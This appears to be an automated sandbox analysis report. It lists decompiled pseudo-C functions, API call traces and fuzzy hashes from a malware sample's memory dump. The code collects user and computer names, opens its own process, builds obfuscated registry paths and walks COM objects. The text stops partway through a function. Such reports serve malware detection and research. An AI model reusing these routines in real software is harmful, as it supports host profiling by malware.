0x02d77714
0x02d77684
0x02d7771a

APIs

GetUserNameW.ADVAPI32(00000000,02D7A338), ref: 02D7765D
GetComputerNameW.KERNEL32(00000000,02D7A338), ref: 02D77679

Part of subcall function 02D72049: RtlAllocateHeap.NTDLL(00000000,00000000,02D77E50), ref: 02D72055

GetUserNameW.ADVAPI32(00000000,02D7A338), ref: 02D776B3
GetComputerNameW.KERNEL32(02D7A338,?), ref: 02D776D5
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,02D7A338,00000000,02D7A33A,00000000,00000000,?,?,02D7A338), ref: 02D776F8

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: Name$ComputerUser$AllocateByteCharHeapMultiWide
String ID:
API String ID: 3850880919-0
Opcode ID: 7c5e9d21799d373b60d1d9cd7ddaa989f6570180780f48f89ec20bf6d8567348
Instruction ID: 74e0a9712a0d66fca497644a607a1d6ead0254bedaf3ce62eb06290301634db5
Opcode Fuzzy Hash: 7c5e9d21799d373b60d1d9cd7ddaa989f6570180780f48f89ec20bf6d8567348
Instruction Fuzzy Hash: 3A21B776910209FFDB11DFA9D984CEEBBB9EF44244B6048AAE501E7240E7389F54DB60

Uniqueness

Uniqueness Score: -1.00%

Function 02D71585, Relevance: 7.5, APIs: 5, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E02D71585(void* __eax, intOrPtr _a4, intOrPtr _a8) {
				void* __esi;
				long _t10;
				void* _t18;
				void* _t22;

				_t9 = __eax;
				_t22 = __eax;
				if(_a4 != 0 && E02D77F27(__eax + 4, _t18, _a4, __eax, __eax + 4) == 0) {
					L9:
					return GetLastError();
				}
				_t10 = E02D7A9AB(_t9, _t18, _t22, _a8);
				if(_t10 == 0) {
					ResetEvent( *(_t22 + 0x1c));
					ResetEvent( *(_t22 + 0x20));
					_push(0);
					_push(0);
					_push(0xffffffff);
					_push(0);
					_push( *((intOrPtr*)(_t22 + 0x18)));
					if( *0x2d7d130() != 0) {
						SetEvent( *(_t22 + 0x1c));
						goto L7;
					} else {
						_t10 = GetLastError();
						if(_t10 == 0x3e5) {
							L7:
							_t10 = 0;
						}
					}
				}
				if(_t10 == 0xffffffff) {
					goto L9;
				}
				return _t10;
			}

0x02d71585
0x02d71592
0x02d71594
0x02d715f7
0x00000000
0x02d715f7
0x02d715ac
0x02d715b3
0x02d715bf
0x02d715c4
0x02d715c6
0x02d715c8
0x02d715ca
0x02d715cc
0x02d715ce
0x02d715da
0x02d715ea
0x00000000
0x02d715dc
0x02d715dc
0x02d715e3
0x02d715f0
0x02d715f0
0x02d715f0
0x02d715e3
0x02d715da
0x02d715f5
0x00000000
0x00000000
0x02d715fb

APIs

ResetEvent.KERNEL32(?,00000008,?,?,00000102,02D711DA,?,?,00000000,00000000), ref: 02D715BF
ResetEvent.KERNEL32(?), ref: 02D715C4
GetLastError.KERNEL32 ref: 02D715DC
GetLastError.KERNEL32(?,?,00000102,02D711DA,?,?,00000000,00000000), ref: 02D715F7

Part of subcall function 02D77F27: lstrlen.KERNEL32(00000000,00000008,?,74B04D40,?,?,02D715A4,?,?,?,?,00000102,02D711DA,?,?,00000000), ref: 02D77F33
Part of subcall function 02D77F27: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,02D715A4,?,?,?,?,00000102,02D711DA,?), ref: 02D77F91
Part of subcall function 02D77F27: lstrcpy.KERNEL32(00000000,00000000), ref: 02D77FA1

SetEvent.KERNEL32(?), ref: 02D715EA

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: Event$ErrorLastReset$lstrcpylstrlenmemcpy
String ID:
API String ID: 1449191863-0
Opcode ID: 77270fd5df7aacf1d186fd7580c7433d95054d1f61e23c54c74f9d066d04dda2
Instruction ID: 93e8267f98046d2de7d519876e9c8220e77902b9337833c0685f5bf51d2c3acc
Opcode Fuzzy Hash: 77270fd5df7aacf1d186fd7580c7433d95054d1f61e23c54c74f9d066d04dda2
Instruction Fuzzy Hash: A401AD31150601AFDA306A21DC44B1BBBB9FF44360F204B2AF45A916E0FB28EC28DA61

Uniqueness

Uniqueness Score: -1.00%

Function 02D78F10, Relevance: 7.5, APIs: 5, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E02D78F10(intOrPtr _a4) {
				void* _t2;
				long _t4;
				void* _t5;
				long _t6;
				void* _t7;
				void* _t13;

				_t2 = CreateEventA(0, 1, 0, 0);
				 *0x2d7d26c = _t2;
				if(_t2 == 0) {
					return GetLastError();
				}
				_t4 = GetVersion();
				if(_t4 != 5) {
					L4:
					if(_t13 <= 0) {
						_t5 = 0x32;
						return _t5;
					}
					L5:
					 *0x2d7d25c = _t4;
					_t6 = GetCurrentProcessId();
					 *0x2d7d258 = _t6;
					 *0x2d7d264 = _a4;
					_t7 = OpenProcess(0x10047a, 0, _t6);
					 *0x2d7d254 = _t7;
					if(_t7 == 0) {
						 *0x2d7d254 =  *0x2d7d254 | 0xffffffff;
					}
					return 0;
				}
				if(_t4 > 0) {
					goto L5;
				}
				_t13 = _t4 - _t4;
				goto L4;
			}

0x02d78f18
0x02d78f20
0x02d78f25
0x00000000
0x02d78f7a
0x02d78f27
0x02d78f2f
0x02d78f37
0x02d78f37
0x02d78f77
0x00000000
0x02d78f77
0x02d78f39
0x02d78f39
0x02d78f3e
0x02d78f50
0x02d78f55
0x02d78f5b
0x02d78f63
0x02d78f68
0x02d78f6a
0x02d78f6a
0x00000000
0x02d78f71
0x02d78f33
0x00000000
0x00000000
0x02d78f35
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,02D76A90,?,?,00000001,?,?,?,02D7807D,?), ref: 02D78F18
GetVersion.KERNEL32(?,00000001,?,?,?,02D7807D,?), ref: 02D78F27
GetCurrentProcessId.KERNEL32(?,00000001,?,?,?,02D7807D,?), ref: 02D78F3E
OpenProcess.KERNEL32(0010047A,00000000,00000000,?,00000001,?,?,?,02D7807D,?), ref: 02D78F5B
GetLastError.KERNEL32(?,00000001,?,?,?,02D7807D,?), ref: 02D78F7A

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: Process$CreateCurrentErrorEventLastOpenVersion
String ID:
API String ID: 2270775618-0
Opcode ID: 163c731bc73f60d13d2570bed26e92ab3122cc537c93d7383f849c0a3a9b794e
Instruction ID: f8e68b0c2c8d36a9914f898a01f7c2652a95f664ac3c5cced583123a0d61e7fa
Opcode Fuzzy Hash: 163c731bc73f60d13d2570bed26e92ab3122cc537c93d7383f849c0a3a9b794e
Instruction Fuzzy Hash: 5CF04F70ED53019EE7208F24AD0DB14BBA3AB54784F60895AE142C63D0F77CCC6AEB24

Uniqueness

Uniqueness Score: -1.00%

Function 02D717D5, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 172
stringCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E02D717D5(void* __ecx, char* _a8, char _a16, intOrPtr* _a20, char _a24) {
				signed int _v8;
				char _v12;
				signed int* _v16;
				char _v284;
				void* __esi;
				char* _t60;
				intOrPtr* _t61;
				intOrPtr _t65;
				char _t68;
				intOrPtr _t72;
				intOrPtr _t73;
				intOrPtr _t75;
				void* _t78;
				void* _t88;
				void* _t97;
				void* _t98;
				char _t104;
				signed int* _t106;
				intOrPtr* _t107;
				void* _t108;

				_t98 = __ecx;
				_v8 = _v8 & 0x00000000;
				_t104 = _a16;
				if(_t104 == 0) {
					__imp__( &_v284,  *0x2d7d33c);
					_t97 = 0x80000002;
					L6:
					_t60 = E02D7809F(0,  &_v284);
					_a8 = _t60;
					if(_t60 == 0) {
						_v8 = 8;
						L29:
						_t61 = _a20;
						if(_t61 != 0) {
							 *_t61 =  *_t61 + 1;
						}
						return _v8;
					}
					_t107 = _a24;
					if(E02D788B7(_t98, _t103, _t107, _t97, _t60) != 0) {
						L27:
						E02D79039(_a8);
						goto L29;
					}
					_t65 =  *0x2d7d27c; // 0x23aa5a8
					_t16 = _t65 + 0x2d7e8fe; // 0x65696c43
					_t68 = E02D7809F(0, _t16);
					_a24 = _t68;
					if(_t68 == 0) {
						L14:
						_t29 = _t107 + 0x14; // 0x102
						_t33 = _t107 + 0x10; // 0x3d02d7c0
						if(E02D7A635(_t103,  *_t33, _t97, _a8,  *0x2d7d334,  *((intOrPtr*)( *_t29 + 0x28))) == 0) {
							_t72 =  *0x2d7d27c; // 0x23aa5a8
							if(_t104 == 0) {
								_t35 = _t72 + 0x2d7ea5f; // 0x4d4c4b48
								_t73 = _t35;
							} else {
								_t34 = _t72 + 0x2d7e89f; // 0x55434b48
								_t73 = _t34;
							}
							if(E02D7816C(_t73,  *0x2d7d334,  *0x2d7d338,  &_a24,  &_a16) == 0) {
								if(_t104 == 0) {
									_t75 =  *0x2d7d27c; // 0x23aa5a8
									_t44 = _t75 + 0x2d7e871; // 0x74666f53
									_t78 = E02D7809F(0, _t44);
									_t105 = _t78;
									if(_t78 == 0) {
										_v8 = 8;
									} else {
										_t47 = _t107 + 0x10; // 0x3d02d7c0
										E02D72659( *_t47, _t97, _a8,  *0x2d7d338, _a24);
										_t49 = _t107 + 0x10; // 0x3d02d7c0
										E02D72659( *_t49, _t97, _t105,  *0x2d7d330, _a16);
										E02D79039(_t105);
									}
								} else {
									_t40 = _t107 + 0x10; // 0x3d02d7c0
									E02D72659( *_t40, _t97, _a8,  *0x2d7d338, _a24);
									_t43 = _t107 + 0x10; // 0x3d02d7c0
									E02D72659( *_t43, _t97, _a8,  *0x2d7d330, _a16);
								}
								if( *_t107 != 0) {
									E02D79039(_a24);
								} else {
									 *_t107 = _a16;
								}
							}
						}
						goto L27;
					}
					_t21 = _t107 + 0x10; // 0x3d02d7c0
					if(E02D76BFA( *_t21, _t97, _a8, _t68,  &_v16,  &_v12) == 0) {
						_t106 = _v16;
						_t88 = 0x28;
						if(_v12 == _t88) {
							 *_t106 =  *_t106 & 0x00000000;
							_t26 = _t107 + 0x10; // 0x3d02d7c0
							E02D7A635(_t103,  *_t26, _t97, _a8, _a24, _t106);
						}
						E02D79039(_t106);
						_t104 = _a16;
					}
					E02D79039(_a24);
					goto L14;
				}
				if(_t104 <= 8 || _t104 + 0x2a >= 0x104 || StrChrA(_a8, 0x5f) != 0) {
					goto L29;
				} else {
					_t103 = _a8;
					E02D7A8D8(_t104, _a8,  &_v284);
					__imp__(_t108 + _t104 - 0x117,  *0x2d7d33c);
					 *((char*)(_t108 + _t104 - 0x118)) = 0x5c;
					_t97 = 0x80000003;
					goto L6;
				}
			}

0x02d717d5
0x02d717de
0x02d717e5
0x02d717ea
0x02d71857
0x02d7185d
0x02d71862
0x02d7186b
0x02d71872
0x02d71875
0x02d719e9
0x02d719f0
0x02d719f0
0x02d719f5
0x02d719f7
0x02d719f7
0x02d71a00
0x02d71a00
0x02d7187b
0x02d71887
0x02d719df
0x02d719e2
0x00000000
0x02d719e2
0x02d7188d
0x02d71892
0x02d7189b
0x02d718a2
0x02d718a5
0x02d718ef
0x02d718ef
0x02d71902
0x02d7190c
0x02d71914
0x02d71919
0x02d71923
0x02d71923
0x02d7191b
0x02d7191b
0x02d7191b
0x02d7191b
0x02d71945
0x02d7194d
0x02d7197b
0x02d71980
0x02d71989
0x02d7198e
0x02d71992
0x02d719c4
0x02d71994
0x02d719a1
0x02d719a4
0x02d719b4
0x02d719b7
0x02d719bd
0x02d719bd
0x02d7194f
0x02d7195c
0x02d7195f
0x02d71971
0x02d71974
0x02d71974
0x02d719ce
0x02d719da
0x02d719d0
0x02d719d3
0x02d719d3
0x02d719ce
0x02d71945
0x00000000
0x02d7190c
0x02d718b4
0x02d718be
0x02d718c0
0x02d718c5
0x02d718c9
0x02d718cb
0x02d718d6
0x02d718d9
0x02d718d9
0x02d718df
0x02d718e4
0x02d718e4
0x02d718ea
0x00000000
0x02d718ea
0x02d717ef
0x00000000
0x02d71816
0x02d71816
0x02d71822
0x02d71835
0x02d7183b
0x02d71843
0x00000000
0x02d71843

APIs

StrChrA.SHLWAPI(02D73C81,0000005F,00000000,00000000,00000104), ref: 02D71808
lstrcpy.KERNEL32(?,?), ref: 02D71835

Part of subcall function 02D7809F: lstrlen.KERNEL32(?,00000000,02D7D330,00000001,02D72200,02D7D00C,02D7D00C,00000000,00000005,00000000,00000000,?,?,?,02D796C1,02D723E9), ref: 02D780A8
Part of subcall function 02D7809F: mbstowcs.NTDLL ref: 02D780CF
Part of subcall function 02D7809F: memset.NTDLL ref: 02D780E1

Part of subcall function 02D72659: lstrlenW.KERNEL32(02D73C81,?,?,02D719A9,3D02D7C0,80000002,02D73C81,02D78B1E,74666F53,4D4C4B48,02D78B1E,?,3D02D7C0,80000002,02D73C81,?), ref: 02D72679

Part of subcall function 02D79039: HeapFree.KERNEL32(00000000,00000000,02D77F18,00000000,?,?,00000000), ref: 02D79045

lstrcpy.KERNEL32(?,00000000), ref: 02D71857

Strings

\, xrefs: 02D7183B

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrcpylstrlen$FreeHeapmbstowcsmemset
String ID: \
API String ID: 3924217599-2967466578
Opcode ID: ce7bd61e9b7efdef5b3b88ea15ad59992244cd17c54e195d611a2ac370ed5113
Instruction ID: 05620ecca2096956a68a5eded7b26f6f6587888ed8a782b5de9166c4ffcae68b
Opcode Fuzzy Hash: ce7bd61e9b7efdef5b3b88ea15ad59992244cd17c54e195d611a2ac370ed5113
Instruction Fuzzy Hash: F0512D72500209AFDF119FA0DD44E9A37BAEF08354F108615FA6996260F739DE26DF60

Uniqueness

Uniqueness Score: -1.00%

Function 02D752F9, Relevance: 6.2, APIs: 4, Instructions: 152
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E02D752F9(intOrPtr* __eax) {
				void* _v8;
				WCHAR* _v12;
				void* _v16;
				char _v20;
				void* _v24;
				intOrPtr _v28;
				void* _v32;
				intOrPtr _v40;
				short _v48;
				intOrPtr _v56;
				short _v64;
				intOrPtr* _t54;
				intOrPtr* _t56;
				intOrPtr _t57;
				intOrPtr* _t58;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr* _t63;
				intOrPtr* _t65;
				intOrPtr* _t67;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr* _t74;
				intOrPtr* _t76;
				intOrPtr _t78;
				intOrPtr* _t82;
				intOrPtr* _t86;
				intOrPtr _t102;
				intOrPtr _t108;
				void* _t117;
				void* _t121;
				void* _t122;
				intOrPtr _t129;

				_t122 = _t121 - 0x3c;
				_push( &_v8);
				_push(__eax);
				_t117 =  *((intOrPtr*)( *__eax + 0x48))();
				if(_t117 >= 0) {
					_t54 = _v8;
					_t102 =  *0x2d7d27c; // 0x23aa5a8
					_t5 = _t102 + 0x2d7e038; // 0x3050f485
					_t117 =  *((intOrPtr*)( *_t54))(_t54, _t5,  &_v32);
					_t56 = _v8;
					_t57 =  *((intOrPtr*)( *_t56 + 8))(_t56);
					if(_t117 >= 0) {
						__imp__#2(0x2d7c2b0);
						_v28 = _t57;
						if(_t57 == 0) {
							_t117 = 0x8007000e;
						} else {
							_t60 = _v32;
							_t61 =  *((intOrPtr*)( *_t60 + 0xbc))(_t60, _v28,  &_v24);
							_t86 = __imp__#6;
							_t117 = _t61;
							if(_t117 >= 0) {
								_t63 = _v24;
								_t117 =  *((intOrPtr*)( *_t63 + 0x24))(_t63,  &_v20);
								if(_t117 >= 0) {
									_t129 = _v20;
									if(_t129 != 0) {
										_v64 = 3;
										_v48 = 3;
										_v56 = 0;
										_v40 = 0;
										if(_t129 > 0) {
											while(1) {
												_t67 = _v24;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t122 = _t122;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t117 =  *((intOrPtr*)( *_t67 + 0x2c))(_t67,  &_v8);
												if(_t117 < 0) {
													goto L16;
												}
												_t69 = _v8;
												_t108 =  *0x2d7d27c; // 0x23aa5a8
												_t28 = _t108 + 0x2d7e0bc; // 0x3050f1ff
												_t117 =  *((intOrPtr*)( *_t69))(_t69, _t28,  &_v16);
												if(_t117 >= 0) {
													_t74 = _v16;
													_t117 =  *((intOrPtr*)( *_t74 + 0x34))(_t74,  &_v12);
													if(_t117 >= 0 && _v12 != 0) {
														_t78 =  *0x2d7d27c; // 0x23aa5a8
														_t33 = _t78 + 0x2d7e078; // 0x76006f
														if(lstrcmpW(_v12, _t33) == 0) {
															_t82 = _v16;
															 *((intOrPtr*)( *_t82 + 0x114))(_t82);
														}
														 *_t86(_v12);
													}
													_t76 = _v16;
													 *((intOrPtr*)( *_t76 + 8))(_t76);
												}
												_t71 = _v8;
												 *((intOrPtr*)( *_t71 + 8))(_t71);
												_v40 = _v40 + 1;
												if(_v40 < _v20) {
													continue;
												}
												goto L16;
											}
										}
									}
								}
								L16:
								_t65 = _v24;
								 *((intOrPtr*)( *_t65 + 8))(_t65);
							}
							 *_t86(_v28);
						}
						_t58 = _v32;
						 *((intOrPtr*)( *_t58 + 8))(_t58);
					}
				}
				return _t117;
			}

0x02d752fe
0x02d75307
0x02d75308
0x02d7530c
0x02d75312
0x02d75318
0x02d75321
0x02d75327
0x02d75331
0x02d75333
0x02d75339
0x02d7533e
0x02d75349
0x02d75351
0x02d75354
0x02d75477
0x02d7535a
0x02d7535a
0x02d75367
0x02d7536d
0x02d75373
0x02d75377
0x02d7537d
0x02d7538a
0x02d7538e
0x02d75394
0x02d75397
0x02d7539d
0x02d753a3
0x02d753a9
0x02d753ac
0x02d753af
0x02d753b5
0x02d753be
0x02d753c4
0x02d753c5
0x02d753c8
0x02d753c9
0x02d753ca
0x02d753d2
0x02d753d3
0x02d753d4
0x02d753d6
0x02d753da
0x02d753de
0x00000000
0x00000000
0x02d753e4
0x02d753ed
0x02d753f3
0x02d753fd
0x02d75401
0x02d75403
0x02d75410
0x02d75414
0x02d7541c
0x02d75421
0x02d75433
0x02d75435
0x02d7543b
0x02d7543b
0x02d75444
0x02d75444
0x02d75446
0x02d7544c
0x02d7544c
0x02d7544f
0x02d75455
0x02d75458
0x02d75461
0x00000000
0x00000000
0x00000000
0x02d75461
0x02d753b5
0x02d753af
0x02d75397
0x02d75467
0x02d75467
0x02d7546d
0x02d7546d
0x02d75473
0x02d75473
0x02d7547c
0x02d75482
0x02d75482
0x02d7533e
0x02d7548b

APIs

SysAllocString.OLEAUT32(02D7C2B0), ref: 02D75349
lstrcmpW.KERNEL32(00000000,0076006F), ref: 02D7542B
SysFreeString.OLEAUT32(00000000), ref: 02D75444
SysFreeString.OLEAUT32(?), ref: 02D75473

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Free$Alloclstrcmp
String ID:
API String ID: 1885612795-0
Opcode ID: e65da0dbc57f6d2fa0a29dbf596e0246c24fc52d68a7fd83e0c0c65ee8ea56a6
Instruction ID: c3255d87d199dbad9490646734af250084417050e6da42a702a8af599010e134
Opcode Fuzzy Hash: e65da0dbc57f6d2fa0a29dbf596e0246c24fc52d68a7fd83e0c0c65ee8ea56a6
Instruction Fuzzy Hash: 76515D71D00519EFCB00DFA8D4889AEB7BAFF88709B148599E915EB310E7359D01CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02D71017, Relevance: 6.1, APIs: 4, Instructions: 136
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E02D71017(signed int __eax, void* __eflags, intOrPtr _a4, signed int _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				void _v92;
				void _v236;
				void* _t55;
				unsigned int _t56;
				signed int _t66;
				signed int _t74;
				void* _t76;
				signed int _t79;
				void* _t81;
				void* _t92;
				void* _t96;
				signed int* _t99;
				signed int _t101;
				signed int _t103;
				void* _t107;

				_t92 = _a12;
				_t101 = __eax;
				_t55 = E02D7A7AA(_a16, _t92);
				_t79 = _t55;
				if(_t79 == 0) {
					L18:
					return _t55;
				}
				_t56 =  *(_t92 + _t79 * 4 - 4);
				_t81 = 0;
				_t96 = 0x20;
				if(_t56 == 0) {
					L4:
					_t97 = _t96 - _t81;
					_v12 = _t96 - _t81;
					E02D7968F(_t79,  &_v236);
					 *((intOrPtr*)(_t107 + _t101 * 4 - 0xe8)) = E02D78967(_t101,  &_v236, _a8, _t96 - _t81);
					E02D78967(_t79,  &_v92, _a12, _t97);
					_v8 =  *((intOrPtr*)(_t107 + _t79 * 4 - 0x5c));
					_t66 = E02D7968F(_t101, 0x2d7d1b0);
					_t103 = _t101 - _t79;
					_a8 = _t103;
					if(_t103 < 0) {
						L17:
						E02D7968F(_a16, _a4);
						E02D71D6C(_t79,  &_v236, _a4, _t97);
						memset( &_v236, 0, 0x8c);
						_t55 = memset( &_v92, 0, 0x44);
						goto L18;
					}
					_t99 = _t107 + (_t103 + _t79) * 4 - 0xe8;
					do {
						if(_v8 != 0xffffffff) {
							_push(1);
							_push(0);
							_push(0);
							_push( *_t99);
							L02D7B0C8();
							_t74 = _t66 +  *(_t99 - 4);
							asm("adc edx, esi");
							_push(0);
							_push(_v8 + 1);
							_push(_t92);
							_push(_t74);
							L02D7B0C2();
							if(_t92 > 0 || _t74 > 0xffffffff) {
								_t74 = _t74 | 0xffffffff;
								_v16 = _v16 & 0x00000000;
							}
						} else {
							_t74 =  *_t99;
						}
						_t106 = _t107 + _a8 * 4 - 0xe8;
						_a12 = _t74;
						_t76 = E02D71FB1(_t79,  &_v92, _t92, _t107 + _a8 * 4 - 0xe8, _t107 + _a8 * 4 - 0xe8, _t74);
						while(1) {
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							L13:
							_t92 =  &_v92;
							if(E02D78B62(_t79, _t92, _t106) < 0) {
								break;
							}
							L14:
							_a12 = _a12 + 1;
							_t76 = E02D79100(_t79,  &_v92, _t106, _t106);
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							goto L13;
						}
						_a8 = _a8 - 1;
						_t66 = _a12;
						_t99 = _t99 - 4;
						 *(0x2d7d1b0 + _a8 * 4) = _t66;
					} while (_a8 >= 0);
					_t97 = _v12;
					goto L17;
				}
				while(_t81 < _t96) {
					_t81 = _t81 + 1;
					_t56 = _t56 >> 1;
					if(_t56 != 0) {
						continue;
					}
					goto L4;
				}
				goto L4;
			}

0x02d7101a
0x02d71026
0x02d7102c
0x02d71031
0x02d71035
0x02d71192
0x02d71196
0x02d71196
0x02d7103b
0x02d7103f
0x02d71045
0x02d71046
0x02d71051
0x02d71057
0x02d7105c
0x02d7105f
0x02d71079
0x02d71085
0x02d7108e
0x02d71098
0x02d7109d
0x02d7109f
0x02d710a2
0x02d71150
0x02d71156
0x02d71167
0x02d7117a
0x02d7118a
0x00000000
0x02d7118f
0x02d710ab
0x02d710b2
0x02d710b6
0x02d710bc
0x02d710be
0x02d710c0
0x02d710c2
0x02d710c4
0x02d710ce
0x02d710d3
0x02d710d5
0x02d710d7
0x02d710d8
0x02d710d9
0x02d710da
0x02d710e1
0x02d710e8
0x02d710eb
0x02d710eb
0x02d710b8
0x02d710b8
0x02d710b8
0x02d710f3
0x02d710fb
0x02d71104
0x02d71109
0x02d71109
0x02d7110e
0x00000000
0x00000000
0x02d71110
0x02d71113
0x02d7111d
0x00000000
0x00000000
0x02d7111f
0x02d7111f
0x02d71129
0x02d71109
0x02d7110e
0x00000000
0x00000000
0x00000000
0x02d7110e
0x02d71133
0x02d71136
0x02d71139
0x02d71140
0x02d71140
0x02d7114d
0x00000000
0x02d7114d
0x02d71048
0x02d7104c
0x02d7104d
0x02d7104f
0x00000000
0x00000000
0x00000000
0x02d7104f
0x00000000

APIs

_allmul.NTDLL(?,00000000,00000000,00000001), ref: 02D710C4
_aulldiv.NTDLL(00000000,?,00000100,00000000), ref: 02D710DA
memset.NTDLL ref: 02D7117A
memset.NTDLL ref: 02D7118A

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: memset$_allmul_aulldiv
String ID:
API String ID: 3041852380-0
Opcode ID: 59c912c74cbf7bce070cf0e49250656b1d6001ebb44f260c1c2e47978284a571
Instruction ID: 0a3a6deef863f773015da02bfe72aa3139c385603cd74736a285be763a63e576
Opcode Fuzzy Hash: 59c912c74cbf7bce070cf0e49250656b1d6001ebb44f260c1c2e47978284a571
Instruction Fuzzy Hash: BB418471A00259ABDB109FA8DC45BEE7776EF44310F108629E91AAB380F774DD58CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 02D7A9AB, Relevance: 6.1, APIs: 4, Instructions: 126stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000008,74B04D40), ref: 02D7A9BD

Part of subcall function 02D72049: RtlAllocateHeap.NTDLL(00000000,00000000,02D77E50), ref: 02D72055

ResetEvent.KERNEL32(?), ref: 02D7AA31
GetLastError.KERNEL32 ref: 02D7AA54
GetLastError.KERNEL32 ref: 02D7AAFF

Part of subcall function 02D79039: HeapFree.KERNEL32(00000000,00000000,02D77F18,00000000,?,?,00000000), ref: 02D79045

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorHeapLast$AllocateEventFreeResetlstrlen
String ID:
API String ID: 943265810-0
Opcode ID: 067a3ec177c5d702c1694f22dbe5cce5b5fc19354a69b7bcc05e5525ce593510
Instruction ID: a6dfd830efea1d21c1144fb2b13a2cbcaaf42676303e3f562c117209edd2e5f5
Opcode Fuzzy Hash: 067a3ec177c5d702c1694f22dbe5cce5b5fc19354a69b7bcc05e5525ce593510
Instruction Fuzzy Hash: C8414B72940205BBD7219FA5DC48EAF7BBAEF49704B104919F542D1290F779DD58CB20

Uniqueness

Uniqueness Score: -1.00%

Function 02D739BF, Relevance: 6.1, APIs: 4, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 39%

			E02D739BF(void* __eax, void* __ecx) {
				char _v8;
				void* _v12;
				intOrPtr _v16;
				char _v20;
				void* __esi;
				intOrPtr _t36;
				intOrPtr* _t37;
				intOrPtr* _t39;
				void* _t53;
				long _t58;
				void* _t59;

				_t53 = __ecx;
				_t59 = __eax;
				_t58 = 0;
				ResetEvent( *(__eax + 0x1c));
				_push( &_v8);
				_push(4);
				_push( &_v20);
				_push( *((intOrPtr*)(_t59 + 0x18)));
				if( *0x2d7d134() != 0) {
					L5:
					if(_v8 == 0) {
						 *((intOrPtr*)(_t59 + 0x30)) = 0;
						L21:
						return _t58;
					}
					 *0x2d7d168(0, 1,  &_v12);
					if(0 != 0) {
						_t58 = 8;
						goto L21;
					}
					_t36 = E02D72049(0x1000);
					_v16 = _t36;
					if(_t36 == 0) {
						_t58 = 8;
						L18:
						_t37 = _v12;
						 *((intOrPtr*)( *_t37 + 8))(_t37);
						goto L21;
					}
					_push(0);
					_push(_v8);
					_push( &_v20);
					while(1) {
						_t39 = _v12;
						_t56 =  *_t39;
						 *((intOrPtr*)( *_t39 + 0x10))(_t39);
